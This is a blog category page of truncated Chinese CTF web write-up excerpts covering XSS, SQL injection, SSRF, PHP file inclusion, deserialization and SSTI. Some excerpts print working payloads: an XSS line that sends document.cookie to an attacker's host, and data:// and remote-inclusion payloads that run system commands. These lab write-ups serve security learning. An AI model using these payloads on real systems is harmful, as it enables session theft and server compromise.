![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
ctf
文章平均质量分 65
Je3Z
这个作者很懒,什么都没留下…
展开
-
VNCTF2022 web wp
GameV4.0js/data.js下有段FLAG的base64加密Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==解码就行VNCTF{Welcome_to_VNCTF2022}gocalc0是个xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www<script>window.open('http://ip:7777/'+document.cookie)</script>然后把ses原创 2022-02-13 20:14:39 · 18077 阅读 · 2 评论 -
一道ssrf
前言 : 我最开始写文章的初衷是为了写给自己看的,然后记录自己的学习,也给自己留个回忆吧(感觉这个挺有意思的),然后现在可能慢慢会在意下读者的感受,嘻嘻。。。然后这个题也不难,就是ssrf没学好,然后记录一下,感觉还有点小意思吧。。。那个环境没了,eee就没有截图啦。。。开始是一个平台,然后我们是guest用户,然后提示我们要成admin嘛(下面那个是后面的截图,之前的没了)然后是弱密钥,爆破,密钥为12345,然后改成admin用户,然后跳转到/index.php?comment=http://原创 2021-11-15 19:18:17 · 3245 阅读 · 0 评论 -
[PwnThyBytes 2019]Baby_SQL
没啥思路,看网页源代码,有个zip,下载/source.zip得到源码index.php<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST原创 2021-09-14 21:54:46 · 641 阅读 · 0 评论 -
[RCTF 2019]Nextphp&&php预加载实现FFI
参考<?phpif (isset($_GET['a'])) { eval($_GET['a']);} else { show_source(__FILE__);}初看题目很简单,然后看了下phpinfo过滤了挺多函数的,命令执行的都过滤了,然后还有open_basedir限制/var/www/html然后可能会想一些绕过disable_function的姿势1.LD_PRELOADmail,putenv,error_log全被禁了2.Apache Mod CGI原创 2021-09-12 13:30:21 · 416 阅读 · 0 评论 -
CTFHUB web进阶学习
CTFHub之web进阶学习Linux动态加载器ctfhub 动态加载器linux–>ldd命令的介绍就是没有x执行程序的权限,然后我们要执行/readflag来拿到flag,这里就用到了linux动态库链接器/加载器ld-linux.so.2这里我们直接ldd /readflag 列出所需要得动态链接库然后再/lib64/ld-linux-x86-64.so.2 /readflag 即可获取flagphp Bypass disable_functionLD_PRELOADLinu原创 2021-09-12 11:08:01 · 1244 阅读 · 1 评论 -
undefsafe原型链&[网鼎杯 2020 青龙组]notes
感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜。从浅入深 Javascript 原型链与原型链污染[网鼎杯 2020 青龙组]notesvar express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');var app = express();class Notes {原创 2021-08-25 15:33:09 · 569 阅读 · 0 评论 -
[WMCTF2020]Make PHP Great Again
预期PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含参考/proc/self/root/是指向/的符号链接payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo原创 2021-08-21 21:43:17 · 204 阅读 · 0 评论 -
[2020 新春红包题]1&ezpop改编题3种解法
<?phperror_reporting(0);class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store;原创 2021-08-18 21:12:28 · 246 阅读 · 0 评论 -
PDO预处理&& [SWPU2019]Web4
PDO场景下的SQL注入探究例题 [SWPU2019]Web4参考由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)思路我们但加'报错,然后后面加#正常了,然后我们再尝试了';回显也是正常的,若无法多语句执行,返回页面按理说应该是500,这个正常说明开启了堆叠注入,所以可以联想到想到预处理import requests,timeimport jsondef str_to_hex原创 2021-08-13 22:25:39 · 173 阅读 · 1 评论 -
[SUCTF 2019]EasyWeb hao .htacess绕过 open_basedir绕过
很好的一个题考了很多知识点rce异或绕过.htacess绕过open_basedir绕过<?phpfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir);原创 2021-08-02 21:48:48 · 531 阅读 · 0 评论 -
phar反序列化学习 [SWPUCTF 2018]SimplePHP
用来入手phar反序列化感觉挺温和的一个题,来两个学习链接,phar的东西就不细说了,这里主讲这个题先知社区——php反序列化拓展攻击详解–pharphp反序列化先测试一下吧,然后是一个文件上传功能,然后一个读文件,做了一些限制然后把得到的文件名字都读一篇flie.php<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_s原创 2021-08-02 00:21:03 · 339 阅读 · 0 评论 -
ImaginaryCTF 2021 web 部分wp
Awkward_Bypass是个sqlite的题,踩了一些坑,像||,ascii都没有,ascii阔以用unicode代替顺便学下SQLlite注入sql注入笔记-sqlite全部核心函数:https://www.sqlite.org/lang_corefunc.html基础知识常用语句及基本结构sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。 该表记录了该库下的所有表,索引,表的创建sq原创 2021-07-29 21:29:28 · 401 阅读 · 0 评论 -
加深PHP魔术方法之__get,__set的理解
从一个难以访问的属性读取数据的时候 __get() 方法被调用向一个难以访问的属性赋值的时候 __set() 方法被调用难以访问包括:(1)私有属性,(2)没有初始化的属性两个用实例,简洁的描述了这两个魔术方法的链接https://www.php.cn/php-weizijiaocheng-450007.htmlhttps://www.cnblogs.com/jiqing9006/p/5411403.html题目<?phphighlight_file(__FILE__);clas.原创 2021-07-27 12:53:12 · 107 阅读 · 0 评论 -
从一道CTF的非预期解看PHP反斜杠匹配问题
主要是记录一下这个,然后题是 国赛华南半决赛的Magicchar<?phperror_reporting(0);include'flag.php';function Magic($str){ for($i=0; $i<=strlen($str)-1; $i++) { if ((ord($str[$i])<32) or (ord($str[$i])>126)) { die('sorry'); exit; } } $bl原创 2021-07-23 16:01:50 · 466 阅读 · 0 评论 -
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题
CTFSHOW那个是根据[网鼎杯2018]Unfinish改编的,有个源码泄露友好些吧,然后过滤的东西不一样,然后感觉不错就总结下然后扫目录的时候有源码泄露www.zip,下载后读下代码user.php<?phpinclude('db.php');session_start();error_reporting(0);if($_SESSION['u']){$username=$_SESSION['u'];if (is_numeric($username)) { if(strl原创 2021-07-15 23:10:31 · 1597 阅读 · 4 评论 -
CTFSHOW 红包题第二弹 web
利用临时文件的命令执行临时文件的命名规则在上传存储到临时目录后,临时文件命名的规则如下:默认为 php+4或者6位随机数字和大小写字母php[0-9A-Za-z]{3,4,5,6}比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。PHP上传机制php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上原创 2021-07-14 19:27:02 · 821 阅读 · 0 评论 -
胖哈勃 web--NewSql Mysql 8 注入
是个Mysql8 特性,就是之前省赛那个,但是那个没复现到,就把这个当复现了吧。过滤的东西,这个我没记,借鉴其他师傅的空格 select union|and && updatexml extractvalue group|concat have sleep database insert|join where substr char mid > = || like regexp \ if exp题目地址http://47.99.38.177:10084/TABLE ta原创 2021-07-14 01:33:42 · 425 阅读 · 0 评论 -
[MRCTF2020]Ezaudit
记录一下 php伪随机数mt_srand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。举个例子,两次随机数生成竟然是存在一样的。简单说就是有规律,然后每次跑出来都是一样的。。。之前的 [GWCTF 2019]枯燥的抽奖 也是这个考点扫出www.zipindex.php<?php header('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_P.原创 2021-06-23 20:15:37 · 198 阅读 · 2 评论 -
misc入门 部分wp(持续更新)
misc3查看bpg文件.\bpgview.exe 文件路径下载地址misc11提示:flag在另一张图里。放入tweakpng中,删除一个IDAT块,保存为新的图片。得到flagmisc12提示:flag在另一张图里。做法与11一模一样,然后只是一个一个IDAT块删完然后保存下来得到flag。我映像中应该是删了5次。misc13提示:flag位置在图片末尾。这里把这串字符的十六进制数值复制下来,按照规律选取正确的数值,直接搞不行。。。。。s="631A74B96685738原创 2021-06-22 00:18:33 · 1050 阅读 · 0 评论 -
[GXYCTF2019]StrongestMind
访问题目,发现需要计算运算式,一千次后给flag然后用的python正则from requests import *import timeimport reurl="http://d7ae47ab-f31d-482d-bf36-7d505b252d2e.node3.buuoj.cn/index.php"s=session()kk = re.compile(r'\d+ [-|+] \d+')r=s.get(url)for i in range(1001): zz=k原创 2021-06-21 23:40:06 · 730 阅读 · 0 评论 -
CTFshow 文件包含
web78?file=data://text/plain,<?php system("cat flag.php");?>web 79?file=data://text/plain,<?= system("cat flag*");?>web80 hao方法一:远程文件包含往VPS下面写马,然后远程包含:?file=http://118.***.***.***/1.txt方法二:日志文件包含?file=/var/log/nginx/access.log因此往U原创 2021-06-03 13:16:38 · 436 阅读 · 0 评论 -
2021年四川省大学生网络安全技能大赛 部分wp
加密解密easy_pyc在线反编译得到#!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationimport base64def encode(yourflag): s = '' for i in yourflag: x = ord(i) ^ 62 x = x + 6 s += chr(x) return base64.b64enc原创 2021-05-15 13:46:08 · 2423 阅读 · 2 评论 -
ISCC ISCC客服一号冲冲冲(二)
这个题其实是转自Bugku的Login4 (CBC字节翻转攻击)题目有提示密码就是web1 的flag然后登入这里有回显,然后我们换一下下面cookie里的iv和cipher看着就像CBC加密的方式利用的就是CBC解密的特点:前16个密文字符用来解密接下来的一组16个密文,就是说通过改变前16个密文就可以改变下面16个密文解密的结果,这就是字符翻转攻击。具体原理看链接,解释的挺详细。重点来说CBC的加密方式吧,我理解的就是16个一组,然后密文第一组会和初始化向量(就是iv)进行异或运算原创 2021-05-13 17:10:03 · 1499 阅读 · 5 评论 -
津门杯 easysql
第一次遇到ssrf打sql注入吧index.php的代码<?phphighlight_file(__FILE__); session_start(); $url = $_GET['url'] ?? false; if($url) { $a = preg_match("/file|dict/i", $url); if ($a==1) { exit(); } $原创 2021-05-11 23:07:35 · 299 阅读 · 0 评论 -
[NCTF2019]SQLi
考察点%00截断regexp注入猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|joi原创 2021-03-31 16:32:32 · 514 阅读 · 1 评论 -
[HarekazeCTF2019]encode_and_encode
<?phperror_reporting(0);if (isset($_GET['source'])) { show_source(__FILE__); exit();}function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no原创 2021-03-30 18:15:44 · 129 阅读 · 0 评论 -
[GYCTF2020]Ezsqli hao
过滤了updatexml,union,然后就想的用盲注吧0^(xxxx)#然后写个脚本跑一下就好暴库主要代码payload="0^(ascii(substr((database()),%d,1))>%d)"%(i,mid)得到give_grandpa_pa_pa_pa然后后面爆表的时候就难搞了,过滤了挺多东西的,information,innodb_table_stats,啥的都过滤,然后可以用代替sys.x$schema_flattened_keyssys.x$schema_原创 2021-03-30 13:10:24 · 167 阅读 · 0 评论 -
CTFSHOW SSTI web369-web372 拼接绕过
知识点:()|select|string结果如下<generator object select_or_reject at 0x0000022717FF33C0>(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18原创 2021-03-28 11:54:14 · 931 阅读 · 0 评论 -
CTF长度限制命令执行
7长度限制理解一下叭。比如这个命令:echo Y2F0IC9mbGFn|base64 -d>feng1现在有了长度限制,能怎么办呢?思路就是把要执行的命令一点一点的写在文件名上,然后利用ls -t,按照时间对于文件进行排序,ls -t>0,就可以把文件名按照时间顺序排序写进0文件中。p师傅这里用的是w命令然后写进文件,但事实上,前面的w也可以省略:文件内容可控又怎么样呢?还需要知道3个东西。linux中可以用\使指令连接下一行,这样就可以写多行命令了。文件中前面命令出错,会自动跳过转载 2021-03-27 09:13:18 · 1679 阅读 · 0 评论 -
NepCTF2021 梦里花开牡丹亭
知识点1.数组绕过2.pop链3.ZipArchive 内置类的open方法达到删除文件效果 php内置类ZipArchive :: open($filename, $flags = null)中的flags参数如果设置为ZipArchive::OVERWRITE的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8;也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。利用条件需要存在这么个open函数,看到open以后可以联想到原创 2021-03-21 17:33:39 · 574 阅读 · 4 评论 -
NepCTF2021 little_trick
题目<?php error_reporting(0); highlight_file(__FILE__); $nep = $_GET['nep']; $len = $_GET['len']; if(intval($len)<8 && strlen($nep)<13){ eval(substr($nep,0,$len)); }else{ die('too long!'); }?>原创 2021-03-23 20:55:01 · 287 阅读 · 1 评论